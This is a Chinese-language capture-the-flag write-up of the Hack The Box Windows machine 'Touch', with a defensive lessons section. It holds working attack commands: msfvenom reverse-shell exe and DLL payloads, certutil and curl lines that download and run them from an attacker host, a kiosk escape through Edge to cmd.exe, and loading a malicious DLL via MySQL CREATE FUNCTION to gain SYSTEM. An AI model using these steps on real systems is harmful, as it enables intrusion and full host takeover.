本文仅记录 Hack The Box 授权靶场。IP、账号、设备与凭据均属于实验环境;flag 不在正文重复展示。

本文按实际探索顺序记录。图片上传、CVE 查询和预订查询均做过验证,但没有成为入口;这些未走通的分支也保留在文中,以说明证据如何改变后续方向。

靶机信息

项目内容
平台Hack The Box
靶机Touch
难度Easy
系统Windows
初始实例10.129.164.242
重启后的实例10.129.169.42
完成情况已取得 user.txt 和 root.txt

靶机在练习中重新部署过。最初的端口扫描来自 10.129.164.242;后续 Web、RDP、kiosk 与提权操作在 10.129.169.42 上完成。

Touch 靶机信息与初始实例 IP

攻击路径

  1. 匿名 /api/status 泄露 DeviceHub 序列号,序列号可作为默认设备密码。
  2. 已认证管理页把设备凭据直接写入前端 HTML 的 onclick 参数,得到可用的 KioskUser RDP 凭据。
  3. RDP 进入受限 kiosk 后,关闭设备触发错误处理,借由 Support 链接打开 Edge,再经 file:/// 启动本地 cmd.exe。
  4. 以 KioskUser 获得反向 shell,从维护脚本中读取 MySQL root 凭据。
  5. MySQL80 以 LocalSystem 运行,且其 plugin_dir 对当前用户可写;加载 DLL 后收到 SYSTEM shell。

命令约定:TARGET_IP、ATTACKER_VPN_IP 和 MYSQL_ROOT_PASSWORD 均为需替换的文本标签。MySQL 密码必须紧跟 -p,即 -pMYSQL_ROOT_PASSWORD 中间不能有空格。

初始侦察

端口扫描

1
2
nmap -sS -sV -p- -T4 \
-oN nmap_touch.txt TARGET_IP

初始实例暴露的服务为:

1
2
3
4
5
135/tcp  open  msrpc         Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Service
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8443/tcp open http Microsoft HTTPAPI httpd 2.0
Service Info: OS: Windows

初始全端口扫描:Windows、RDP、WinRM 与 8443 Web 服务

3389 和 5985 只是 RDP/WinRM 的认证入口候选,尚不代表可以直接远程控制。调查重点因此落在 8443 的 Nexion DeviceHub。

登录页与 Badge 流程

登录页是 Nexion DocReader(DeviceHub DH-100 — Gate B7),提供 Device password 与 Scan Staff Badge 两条路径。Layover 中的 Jenny Crawford 和 KS7X2M 曾被当作候选线索,但没有直接构成设备密码或 Windows 凭据。

初始 DeviceHub 登录页:错误密码与 Badge 入口

前端 scanBadge() 会发起无请求体的 POST /login/badge。正常点击得到:

1
{"success":false,"error":"No badge detected"}

HTTP 200 只表示服务正常处理了“没有检测到工牌”的业务请求;这次响应没有建立会话,也没有证明存在认证绕过。

API 枚举与 DeviceHub 登录

随机路径返回 302、长度 0,说明站点存在统一跳转基线。它不能表示所有路径不存在或都需要认证。根目录的 Gobuster 适合建立这一基线;本次需要递归检查 /api/ 时,改用支持 -d 深度参数的 Feroxbuster。

枚举排错与工具选择
  • Gobuster 仅排除 404 时,会把随机路径的 302/0 误认为有效响应而停止;加入 --exclude-length 0 后才可继续。
  • FFUF 使用 -t 80 -timeout 5 跑完 4614 个词条时出现 4599 个 errors。该结果只能说明大部分请求未得到可靠响应;尚未能将原因归为服务限速、高并发或 VPN。
  • Feroxbuster 首次把互斥的 --auto-tune 与 --auto-bail 同时传入,工具直接拒绝运行。修正后只保留 --auto-tune。
  • 早期曾把 /api 的 403 过度解读为必须先找到认证响应头才可继续枚举。随后通过状态、方法和响应差异继续检查,证明该判断不成立。
1
2
3
feroxbuster -u http://TARGET_IP:8443/api/ \
-w /usr/share/dirb/wordlists/common.txt \
-t 5 -T 15 -d 2 --scan-limit 1 --auto-tune -o ferox_api.txt

Feroxbuster 的差异响应:/api、/api/scan、/api/status

路径观察结果可得出的结论
/api403,35 bytes根 API 存在认证边界。
/api/scan405,30 bytes路由存在,但 GET 不是允许的方法。
/api/status200,116 bytes有匿名可读的状态接口。

/api 的内容是:

1
{"error":"Authentication required"}

未认证访问 /api 的认证错误

而 GET /api/status 泄露了设备序列号:

1
2
3
4
5
6
7
{
"device":"Nexion DeviceHub DH-100",
"serial":"NX-DH-2024-B7042",
"firmware":"1.4.2",
"status":"online",
"uptime":49559
}

/api/status 泄露设备序列号与固件版本

登录页提示默认密码是设备包装中的 serial;使用该序列号后成功进入 /dashboard。

成功进入 DeviceHub Dashboard,Scanner 与 Printer 在线

未成为入口的分支

图片上传与 Test Scan

/scanner 的 Upload Image 并非 multipart 上传,而是原始 JPEG 请求体:

1
2
3
4
POST /api/scanner/test-image HTTP/1.1
Content-Type: image/jpeg

<JPEG bytes>

服务端返回:

1
{"success":true,"message":"Document image set","size":196173,"hasMrz":false}

Test Scan 返回 /api/scan/last-capture,其类型为 image/jpeg。先在正常 JPEG 中写入无害的 Exif 注释,再和回读文件比较:

图片处理链验证与一次排错

第一次执行 exiftool -o touch_probe.jpg -Comment='TOUCH-PROBE-20261108' normal.jpg 时,normal.jpg 不在当前目录,因此没有生成探针文件。改用实际存在的 HTB-Touch-test.JPEG 后完成上传与回读验证。

1
2
sha256sum HTB-Touch-test.JPEG last-capture.jpeg
exiftool -Comment HTB-Touch-test.JPEG last-capture.jpeg

两份文件 SHA-256 都是:

1
a52153f24b45e275fea1560bf6813594973be2d775d6df5bf558d2db21c94520

两份文件也都保留 Comment: TOUCH-PROBE-20261108。

上传图片与 last-capture 的哈希、Exif 注释均一致

这证明该测试文件经上传、设置、扫描和回读后保持字节一致。它不能排除服务在后台做过只读解析,也不能证明存在可执行落地、解释器调用或 RCE,因此没有继续尝试向图片植入反向 shell。

版本、CVE 与 localhost

Settings 页的 Firmware 1.4.2 与 Nexion Systems Service v4.2.1 是不同层级的版本。页面只有 Nexion 品牌,无法证实它与 Milesight 的 CPE 映射,故 vendor:milesight AND product:devicehub 不能直接视作当前靶机的漏洞结论;还需逐个核对候选 CVE 的厂商、产品和 affected versions。

Return to Kiosk 指向 localhost:5173。从 Parrot 浏览器访问时,localhost 指向攻击机本身,只能作为管理端与 kiosk 前端可能分离的架构线索。

客户端凭据泄露与 RDP

Dashboard 中 Scanner、Printer 的用户名与密码表面被 •••••••• 遮住。前端的 toggleCred(id, val) 只是切换已经下发到浏览器的 val;实际调用点中存在类似内容:

1
<span onclick="toggleCred('dpp1','DEVICE_PASSWORD')">show</span>

这说明 show 是客户端掩码,不是受控的服务器端读取。页面泄露的 KioskUser 凭据随后用于 RDP:

1
2
xfreerdp3 /v:TARGET_IP /u:KioskUser /p:'DEVICE_PASSWORD' \
/cert:ignore /dynamic-resolution

首次少写了 /p: 中的冒号,导致 FreeRDP 报 Unexpected keyword;改正为 /p:'DEVICE_PASSWORD' 后认证通过。日志先出现 Logon Info V2 [KIOSK-042\\KioskUser],随后才出现 BIO_read ... system error 110,因此已经证明凭据有效,后续断流更符合 HTB VPN 或靶机传输链路波动。

RDP 进入受限自助值机界面;同图保留了首次参数错误

预订编号分支没有成为入口:先出现过 CRAWDFORD 的拼写错误,修正为 CRAWFORD 后仍失败。当前证据不足以判断内部校验原因,因此没有继续猜测姓名或预订号。

Kiosk escape 与 KioskUser shell

DeviceHub 中关闭 Scanner 和 Printer 后,回到 kiosk 的 Staff Login/扫描流程触发了原生错误框:

1
2
3
Nexion DocReader SR-4200 has stopped responding
Error Code: SCN-ERR-4092
Device: NX-SR-2024-0042

这里实际同时关闭了两台设备;没有单独验证哪一台是触发错误的必要条件。

DeviceHub 显示 Scanner 与 Printer 已关闭

Kiosk 的 SCN-ERR-4092 原生错误框与 Support 链接

Support 链接打开 Microsoft Edge。即使 Edge 无法访问外网,地址栏仍可处理本地 URI:

1
file:///C:/Windows/System32/cmd.exe

在 Edge 地址栏输入 file URI 启动 cmd.exe

本地 cmd.exe 执行 whoami、hostname,确认 kioskuser 与 KIOSK-042

攻击机准备 payload、HTTP 服务和监听器时,三个动作位于不同终端:

攻击机终端一:生成与托管

1
2
3
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=ATTACKER_VPN_IP LPORT=4444 -f exe -o kiosk.exe
python3 -m http.server 8000

攻击机终端二:监听

1
nc -lvnp 4444

靶机 CMD:先验证连通性,再下载与执行

1
2
3
4
5
6
curl.exe --noproxy "*" -v --connect-timeout 5 ^
http://ATTACKER_VPN_IP:8000/
certutil -urlcache -split -f ^
http://ATTACKER_VPN_IP:8000/kiosk.exe ^
%TEMP%\kiosk.exe
"%TEMP%\kiosk.exe"

初次 certutil 输出了 DNS/代理相关噪声,但 curl 对攻击机 HTTP 服务的验证请求已到达。之后 certutil 成功下载 kiosk.exe;HTTP 日志也记录到 GET /kiosk.exe。此前误用 dir "%TEMP%\kiosk.exe" 只是在检查文件,并不会执行 payload。

生成 kiosk.exe、启动 HTTP 服务,并记录目标的 kiosk.exe 请求

4444 监听器收到 KioskUser shell,并读取 user flag

MySQL 插件 DLL 提权

枚举与前提

KioskUser 的令牌权限中没有直接可用的特权。自定义 Printer Administrators 组虽然存在,但也不等于可提权:

1
2
3
whoami /priv
whoami /groups
dir /a "C:\ProgramData\HTB Airways"

KioskUser 的 privileges、groups 与 ProgramData 中的维护文件

C:\ProgramData\HTB Airways\refresh-dates.bat 含有 MySQL root 的命令行凭据:

1
C:\MySQL\bin\mysql.exe -u root -pMYSQL_ROOT_PASSWORD < "C:\ProgramData\HTB Airways\refresh-dates.sql" 2>nul

refresh-dates.bat 泄露 MySQL root 凭据

1
2
3
4
"C:\MySQL\bin\mysql.exe" -u root -pMYSQL_ROOT_PASSWORD ^
-e "SELECT USER(), CURRENT_USER(); SHOW VARIABLES LIKE 'plugin_dir';"
sc qc MySQL80
icacls "C:\MySQL\lib\plugin"

结果建立了完整的加载前提:

  1. MySQL 身份为 root@localhost,plugin_dir 是 C:\MySQL\lib\plugin\;
  2. MySQL80 的 SERVICE_START_NAME 是 LocalSystem;
  3. 插件目录包含 NT AUTHORITY\Authenticated Users:(I)(M),低权限用户可以写入 DLL。

MySQL80 以 LocalSystem 运行,且 plugin 目录对 Authenticated Users 可写

下载与加载

攻击机终端一:生成并托管 DLL

1
2
3
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=ATTACKER_VPN_IP LPORT=5555 -f dll -o evil.dll
python3 -m http.server 8000

攻击机终端二:监听

1
nc -lvnp 5555

生成 evil.dll(Windows x64 reverse TCP)

靶机 CMD:下载、确认,再请求 MySQL 加载

1
2
3
4
5
6
curl.exe --noproxy "*" -f ^
http://ATTACKER_VPN_IP:8000/evil.dll ^
-o C:\MySQL\lib\plugin\evil.dll
dir C:\MySQL\lib\plugin\evil.dll
"C:\MySQL\bin\mysql.exe" -u root -pMYSQL_ROOT_PASSWORD ^
-e "CREATE FUNCTION sys_exec RETURNS INT SONAME 'evil.dll';"

曾将 curl 下载命令和 MySQL 命令误粘成一行,MySQL 因接收 --noproxy 报 unknown option '--noproxy'。按下载、文件检查、加载三个阶段拆开后,DLL 已写入 plugin 目录。

evil.dll 下载到 MySQL plugin 目录并确认文件存在

MySQL 接收 CREATE FUNCTION 请求并加载 evil.dll

这次 CREATE FUNCTION 请求触发 MySQL 服务进程加载 DLL,5555 监听器收到 SYSTEM shell:

1
2
whoami
type C:\Users\Administrator\Desktop\root.txt

5555 监听器收到 SYSTEM shell,并读取 root flag

SYSTEM 回连证明 DLL 在服务进程加载阶段执行。实验中没有额外查询 UDF 元数据或调用 sys_exec(),因此不能仅据此断言该函数已被独立验证为可调用。

总结反思

Touch 没有依赖一个单独的 CVE,而是把多处不安全设计连成了一条链:匿名接口泄露序列号,序列号又被当作默认密码;认证后的前端继续下发 RDP 凭据;受限 kiosk 的异常处理可启动浏览器和本地程序;最后,明文数据库凭据、宽松的插件目录 ACL 与 LocalSystem 服务身份共同放大为 SYSTEM 代码执行。

这次最值得留下的,是每个分支应如何收束,而不是只记住最终利用命令:

当时的观察这次记录留下的提醒
随机目录稳定返回 302/0先建立响应基线。大量超时和错误率较高的扫描结果不能直接当作目录枚举结论。
/api 返回 403,/api/status 返回 200同一命名空间内存在差异化访问控制;需要逐条用实际响应验证,而不能把一个路由的结果泛化到全部 API。
上传的 JPEG 回读后 hash 和 Exif 一致只能证明该文件原样存取;没有看到解析或执行 sink 前,不能把上传成功写成 RCE。
RDP 出现成功登录信息,随后传输超时凭据已验证有效,问题发生在会话建立后;超时的具体根因仍需另行证据。
root@localhost、可写 plugin_dir 与 LocalSystem 服务同时成立数据库权限、目录 ACL 与服务身份必须分别确认;三项缺一项都不能直接推出 SYSTEM 执行。

从防护角度看,设备序列号不应同时充当默认密码,设备和 RDP 凭据不应出现在 HTML 或 JavaScript 中。Kiosk 需要限制错误页、浏览器、file:// URI 与本地程序的调用链;MySQL 则应使用低权限服务账户、收紧 plugin_dir 的写权限,并从维护脚本中移除明文高权限密码。

参考与后续复习

后续复盘可按攻击链倒推:先解释为何 302/0 需要作为枚举基线,再区分“文件原样回读”和“文件被服务端解析”,然后梳理 kiosk 的 UI 限制为何没有覆盖浏览器与 URI 处理器,最后重新检查 MySQL 中“账户权限、文件系统 ACL、服务运行身份”三项前提如何共同决定影响范围。

知识点与阅读索引

这些资料用于补足原理。复习时建议先根据本文的证据独立说明判断,再针对卡住的部分查阅。

主题复习时关注的问题资料
枚举基线与响应差异状态码、长度、跳转位置和超时分别能说明什么?何时应降低并发或改用定向枚举?OWASP WSTG:信息收集
文件上传验证文件类型校验、原样存储、元数据读取、内容解析与代码执行之间还隔着哪些步骤?OWASP:File Upload Cheat Sheet
Windows kiosk 边界Assigned Access 与应用 allowlist 应如何限制浏览器、系统 URI 和异常处理程序?Microsoft Learn:Kiosk configuration
Windows 服务与 ACL服务身份、继承权限与目录可写性如何组合成提权前提?Microsoft Learn:icacls
MySQL 可加载函数plugin_dir、动态库加载和 SQL 权限各自承担什么作用?MySQL 8.0:CREATE FUNCTION Statement